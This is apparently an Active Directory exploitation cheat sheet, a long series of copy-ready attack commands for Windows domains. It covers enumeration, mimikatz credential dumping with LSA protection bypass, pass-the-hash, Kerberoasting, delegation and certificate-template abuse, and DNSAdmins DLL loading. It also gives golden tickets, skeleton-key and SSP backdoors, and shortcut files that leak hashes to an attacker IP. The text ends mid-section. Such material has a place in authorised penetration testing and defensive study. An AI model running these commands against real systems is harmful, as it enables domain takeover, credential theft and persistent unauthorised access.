Basic Knowledge

This cheat sheet contains common enumeration and attack methods for Windows Active Directory.

This cheat sheet is inspired by the PayloadAllTheThings repo.

Just Walking The Dog

User Management


Active Directory Exploitation Cheat Sheet

Domain Enumeration

  Get-DomainPolicy

  #Will show us the policy configurations of the Domain about system access or kerberos
  Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
  Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
  #Save all Domain Users to a file
  Get-DomainUser | Out-File -FilePath .\DomainUsers.txt

  #Will return specific properties of a specific user
  Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List

  #Enumerate user logged on a machine
  Get-NetLoggedon -ComputerName <ComputerName>

  #Enumerate Session Information for a machine
  Get-NetSession -ComputerName <ComputerName>

  #Enumerate domain machines of the current/specified domain where specific users are logged into
  Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
  Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

  #Enumerate Live machines
  Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
  #Save all Domain Groups to a file:
  Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt

  #Return members of Specific Group (eg. Domain Admins & Enterprise Admins)
  Get-DomainGroup -Identity '<GroupName>' | Select-Object -ExpandProperty Member
  Get-DomainGroupMember -Identity '<GroupName>' | Select-Object MemberDistinguishedName

  #Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine
  Get-NetLocalGroup | Select-Object GroupName

  #Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine
  Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain

  #Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
  Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
  #Enumerate Domain Shares
  Find-DomainShare

  #Enumerate Domain Shares the current user has access
  Find-DomainShare -CheckShareAccess

  #Enumerate "Interesting" Files on accessible shares
  Find-InterestingDomainShareFile -Include *passwords*
  Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName

  #Enumerate all GPOs to a specific computer
  Get-DomainGPO -ComputerIdentity <ComputerName> -Properties DisplayName | Sort-Object -Property DisplayName

  #Get users that are part of a Machine's local Admin group
  Get-DomainGPOComputerLocalGroupMapping -ComputerName <ComputerName>
  # Returns the ACLs associated with the specified account
  Get-DomaiObjectAcl -Identity <AccountName> -ResolveGUIDs

  #Search for interesting ACEs
  Find-InterestingDomainAcl -ResolveGUIDs

  #Check the ACLs associated with a specified path (e.g smb share)
  Get-PathAcl -Path "\\Path\Of\A\Share"
  Get-DomainTrust
  Get-DomainTrust -Domain <DomainName>

  #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds
  Get-DomainTrustMapping
  Get-ForestDomain
  Get-ForestDomain -Forest <ForestName>

  #Map the Trust of the Forest
  Get-ForestTrust
  Get-ForestTrust -Forest <ForestName>
  #Finds all machines on the current domain where the current user has local admin access
  Find-LocalAdminAccess -Verbose

  #Find local admins on all machines of the domain
  Find-DomainLocalGroupMember -Verbose

  #Find computers were a Domain Admin OR a spesified user has a session
  Find-DomainUserLocation | Select-Object UserName, SessionFromName

  #Confirming admin access
  Test-AdminAccess

:heavy_exclamation_mark: Priv Esc to Domain Admin with User Hunting: \ I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him -> Profit!

  Get-ADDomainController
  Get-ADDomainController -Identity <DomainName>
  Get-ADUser -Filter * -Identity <user> -Properties *

  #Get a spesific "string" on a user's attribute
  Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
  Get-ADForest
  Get-ADForest -Identity <ForestName>

  #Domains of Forest Enumeration
  (Get-ADForest).Domains
  Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Python BloodHound Repository or install it with pip3 install bloodhound

bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d <Domain> -c All
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>

#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>
# kali linux:
./adalanche collect activedirectory --domain <Domain> \
--username <Username@Domain> --password <Password> \
--server <DC>

# Example:
./adalanche collect activedirectory --domain windcorp.local \
--username spoNge369@windcorp.local --password 'password123!' \
--server dc.windcorp.htb
## -> Terminating successfully

## Any error?:

# LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority ?

./adalanche collect activedirectory --domain windcorp.local \
--username spoNge369@windcorp.local --password 'password123!' \
--server dc.windcorp.htb --tlsmode NoTLS --port 389

# Invalid Credentials ?
./adalanche collect activedirectory --domain windcorp.local \
--username spoNge369@windcorp.local --password 'password123!' \
--server dc.windcorp.htb --tlsmode NoTLS --port 389 \
--authmode basic

# Analyze data 
# go to web browser -> 127.0.0.1:8080
./adalanche analyze

Local Privilege Escalation

:warning: Works only until Windows Server 2016 and Windows 10 until patch 1803

:warning: Works only until Windows Server 2016 and Windows 10 until patch 1803

:pray: Works for Windows Server 2019 and Windows 10

:pray: Works for Windows Server 2019 and Windows 10

Lateral Movement

#Enable PowerShell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)
$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}
#Execute the command and start a session
Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess

#Interact with the session
Enter-PSSession -Session $sess
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}
#The commands are in cobalt strike format!

#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys
mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys

#Dump SAM Database
mimikatz lsadump::sam

#Dump SECRETS Database
mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#Dump old passwords and NTLM hashes of a user
mimikatz lsadump::dcsync /user:<DomainFQDN>\<user> /history

#List and Dump local kerberos credentials
mimikatz kerberos::list /dump

#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>

#List TS/RDP sessions
mimikatz ts::sessions

#List Vault credentials
mimikatz vault::list

:exclamation: What if mimikatz fails to dump credentials because of LSA Protection controls ?

  #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

  #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
  #Now lets import the mimidriver.sys to the system
  mimikatz # !+

  #Now lets remove the protection flags from lsass.exe process
  mimikatz # !processprotect /process:lsass.exe /remove

  #Finally run the logonpasswords function to dump lsass
  mimikatz # sekurlsa::logonpasswords
  #Check if a process called lsaiso.exe exists on the running processes
  tasklist |findstr lsaiso

  #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.
  #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides
  mimikatz # misc::memssp

  #Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log

If the host we want to lateral move to has "RestrictedAdmin" enabled, we can pass the hash using the RDP protocol and get an interactive session without the plaintext password.

  #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag
  privilege::debug
  sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash> /run:"mstsc.exe /restrictedadmin"

  #Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
xfreerdp  +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8  /u:<Username> /pth:<NTLMHash> /v:<Hostname | IPAddress>

:exclamation: If Restricted Admin mode is disabled on the remote machine we can connect on the host using another tool/protocol like psexec or winrm and enable it by creating the following registry key and setting it's value zero: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".

  [InternetShortcut]
  URL=whatever
  WorkingDirectory=whatever
  IconFile=\\<AttackersIp>\%USERNAME%.icon
  IconIndex=1
  [InternetShortcut]
  URL=file://<AttackersIp>/leak/leak.html
  [Shell]
  Command=2
  IconFile=\\<AttackersIp>\Share\test.ico
  [Taskbar]
  Command=ToggleDesktop

Putting these files in a writeable share the victim only has to open the file explorer and navigate to the share. Note that the file doesn't need to be opened or the user to interact with it, but it must be on the top of the file system or just visible in the windows explorer window in order to be rendered. Use responder to capture the hashes.

:exclamation: .scf file attacks won't work on the latest versions of Windows.

Domain Privilege Escalation

WUT IS DIS?: \ All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.

  #Get User Accounts that are used as Service Accounts
  Get-NetUser -SPN

  #Get every available SPN account, request a TGS and dump its hash
  Invoke-Kerberoast

  #Requesting the TGS for a single account:
  Request-SPNTicket

  #Export all tickets using Mimikatz
  Invoke-Mimikatz -Command '"kerberos::list /export"'
  #Get User Accounts that are used as Service Accounts
  Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName>
  #Kerberoasting and outputing on a file with a spesific format
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>

  #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec

  #Kerberoast AES enabled accounts
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes

  #Kerberoast spesific user account
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple

  #Kerberoast by specifying the authentication credentials
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>

WUT IS DIS?: \ If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted
blob and bruteforce it offline.

Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts:

Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable!

PowerView:

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose
  #Get a spesific Accounts hash:
  Get-ASREPHash -UserName <UserName> -Verbose

  #Get any ASREPRoastable Users hashes:
  Invoke-ASREPRoast -Verbose
  #Trying the attack for all domain users
  Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

  #ASREPRoast spesific user
  Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

  #ASREPRoast users of a spesific OU (Organization Unit)
  Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
  #Trying the attack for the specified users on the file
  python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>

If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts.

Tools:

WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.

  #Check for interesting permissions on accounts:
  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

  #Check if current user has already an SPN setted:
  Get-DomainUser -Identity <UserName> | select serviceprincipalname

  #Force set the SPN on the account:
  Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
  #Check if current user has already an SPN setted
  Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName

  #Force set the SPN on the account:
  Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}

Finally use any tool from before to grab the hash and kerberoast it!

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation.

#List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows

#List shadow copies using diskshadow
diskshadow list shadows all

#Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
  1. You can dump the backuped SAM database and harvest credentials.
  2. Look for DPAPI stored creds and decrypt them.
  3. Access backuped sensitive files.

  4. List and Decrypt Stored Credentials using Mimikatz

Usually encrypted credentials are stored in:

#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:
dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Detailed Article: DPAPI all the things

WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him!

Using PowerView:

#Discover domain joined computers that have Unconstrained Delegation enabled
Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay
<WaitInterval> -Verbose

#Dump the tickets to disk:
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack:
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'

Note: We can also use Rubeus!

Using PowerView and Kekeo:

#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

ALTERNATIVE: Using Rubeus:

Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt

Now we can access the service as the impersonated user!

:triangular_flag_on_post: What if we have delegation rights for only a spesific SPN? (e.g TIME):

In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.

WUT IS DIS?: \ TL;DR \ If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.

Tools we are going to use:

First we need to enter the security context of the user/machine account that has the privileges over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.

Exploitation Example:

#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$

Detailed Articles:

:exclamation: In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.

#Command on Rubeus
Rubeus.exe tgtdeleg /nowrap

Detailed Article: Rubeus – Now With More Kekeo

DNSAdmins Abuse

WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.

  1. Enumerate the members of the DNSAdmins group:
  2. PowerView: Get-NetGroupMember -GroupName "DNSAdmins"
  3. AD Module: Get-ADGroupMember -Identiny DNSAdmins
  4. Once we found a member of this group we need to compromise it (There are many ways).
  5. Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges:
   #Using dnscmd:
   dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll

   #Restart the DNS Service:
   sc \\DNSServer stop dns
   sc \\DNSServer start dns

WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.

  1. Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:
   #Create a .txt file that will contain the shadow copy process script
   Script ->{
   set context persistent nowriters
   set metadata c:\windows\system32\spool\drivers\color\example.cab
   set verbose on
   begin backup
   add volume c: alias mydrive

   create

   expose %mydrive% w:
   end backup
   }

   #Execute diskshadow with our script as parameter
   diskshadow /s script.txt
  1. Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use tSeBackupPrivilege amazing repo:
   #Importing both dlls from the repo using powershell
   Import-Module .\SeBackupPrivilegeCmdLets.dll
   Import-Module .\SeBackupPrivilegeUtils.dll

   #Checking if the SeBackupPrivilege is enabled
   Get-SeBackupPrivilege

   #If it isn't we enable it
   Set-SeBackupPrivilege

   #Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
   Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite

   #Dump the SYSTEM hive
   reg save HKLM\SYSTEM c:\temp\system.hive
  1. Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.
  2. Use secretsdump.py from impacket and dump the hashes.
  3. Use psexec or another tool of your choice to PTH and get Domain Admin access.

  4. Abusing Exchange

  5. Abusing Exchange one Api call from DA

  6. CVE-2020-0688
  7. PrivExchange Exchange your privileges for Domain Admin privs by abusing Exchange

  8. Weaponizing Printer Bug

  9. Printer Server Bug to Domain Administrator

  10. NetNTLMtoSilverTicket

  11. Abusing ACLs

  12. Escalating privileges with ACLs in Active Directory

  13. aclpwn.py
  14. Invoke-ACLPwn

  15. Abusing IPv6 with mitm6

  16. Compromising IPv4 networks via IPv6

  17. mitm6

SID History Abuse

WUT IS DIS?: If we manage to compromise a child domain of a forest and SID filtering isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the SID History field on a kerberos TGT ticket, that defines the "extra" security groups and privileges.

Exploitation example:

#Get the SID of the Current Domain using PowerView
Get-DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID
Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Inject the ticket into memory
kerberos::ptt \path\to\ticket\golden.kirbi

#List the DC of the Root Domain
dir \\dc.root.domain.local\C$

#Or DCsync and dump the hashes using mimikatz
lsadump::dcsync /domain:root.domain.local /all

Detailed Articles:

Exploiting SharePoint

Check for Vulnerable Certificate Templates with: Certify

Note: Certify can be executed with Cobalt Strike's execute-assembly command as well

.\Certify.exe find /vulnerable /quiet

Make sure the msPKI-Certificates-Name-Flag value is set to "ENROLLEE_SUPPLIES_SUBJECT" and that the Enrollment Rights allow Domain/Authenticated Users. Additionally, check that the pkiextendedkeyusage parameter contains the "Client Authentication" value as well as that the "Authorized Signatures Required" parameter is set to 0.

This exploit only works because these settings enable server/client authentication, meaning an attacker can specify the UPN of a Domain Admin ("DA") and use the captured certificate with Rubeus to forge authentication.

Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended. Check before choosing a DA to target.

Request the DA's Account Certificate with Certify

.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine

This should return a valid certificate for the associated DA account.

The exported cert.pem and cert.key files must be consolidated into a single cert.pem file, with one gap of whitespace between the END RSA PRIVATE KEY and the BEGIN CERTIFICATE.

Example of cert.pem:

-----BEGIN RSA PRIVATE KEY-----
BIIEogIBAAk15x0ID[...]
[...]
[...]
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
BIIEogIBOmgAwIbSe[...]
[...]
[...]
-----END CERTIFICATE-----

The openssl command can be utilized to convert the certificate file into PKCS #12 format (you may be required to enter an export password, which can be anything you like).

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Once the cert.pfx file has been exported, upload it to the compromised host (this can be done in a variety of ways, such as with Powershell, SMB, certutil.exe, Cobalt Strike's upload functionality, etc.)

After the cert.pfx file has been uploaded to the compromised host, Rubeus can be used to request a Kerberos TGT for the DA account which will then be imported into memory.

.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt

This should result in a successfully imported ticket, which then enables an attacker to perform various malicious acitivities under DA user context, such as performing a DCSync attack.

#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

#On any machine:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:
<HashOfkrbtgtAccount>   id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"'

#DCsync using secretsdump.py from impacket with NTLM authentication
secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

#DCsync using secretsdump.py from impacket with Kerberos Authentication
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm

Tip: \ /ptt -> inject ticket on current running session \ /ticket -> save the ticket on the system for later use

Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service:
<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'

SPN List

#Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN>

#Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator

WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!

#Dump DSRM password (needs DA privs):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>

#This is a local account, so we can PTH and authenticate!
#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:
Enter-PSSession -ComputerName <DC's Name>

#Alter the Logon behaviour on registry:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

#If the property already exists:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose

Then just PTH to get local admin access on DC!

WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!

From powershell:

#Get current Security Package:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty  'Security Packages'

#Append mimilib:
$packages += "mimilib"

#Change the new packages name
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages

#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'

Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log

Cross Forest Attacks

WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.

:warning: The access we will have will be limited to what our DA account is configured to have on the other Forest!

  #Dump the trust key
  Invoke-Mimikatz -Command '"lsadump::trust /patch"'
  Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

  #Forge an inter-realm TGT using the Golden Ticket attack
  Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid:
  <OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket:
  <PathToSaveTheGoldenTicket>"'

:exclamation: Tickets -> .kirbi format

Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource!

  .\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt
  Get-SQLConnectionTestThreaded
  Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

Check for existing Database Links:

#Check for existing Database Links:
#PowerUpSQL:
Get-SQLServerLink -Instance <SPN> -Verbose

#MSSQL Query:
select * from master..sysservers

Then we can use queries to enumerate other links from the linked Database:

#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')

#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose

#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"

Query execution:

Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"

WUT IS DIS?: \ TL;DR \ If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest's root domain to authenticate to us. Then we can capture it's TGT, inject it into memory and DCsync to dump it's hashes, giving ous complete access over the whole forest.

Tools we are going to use:

Exploitation example:

#Start monitoring for TGTs with rubeus:
Rubeus.exe monitor /interval:5 /filteruser:target-dc$

#Execute the printerbug to trigger the force authentication of the target DC to our machine
SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

#Get the base64 captured TGT from Rubeus and inject it into memory:
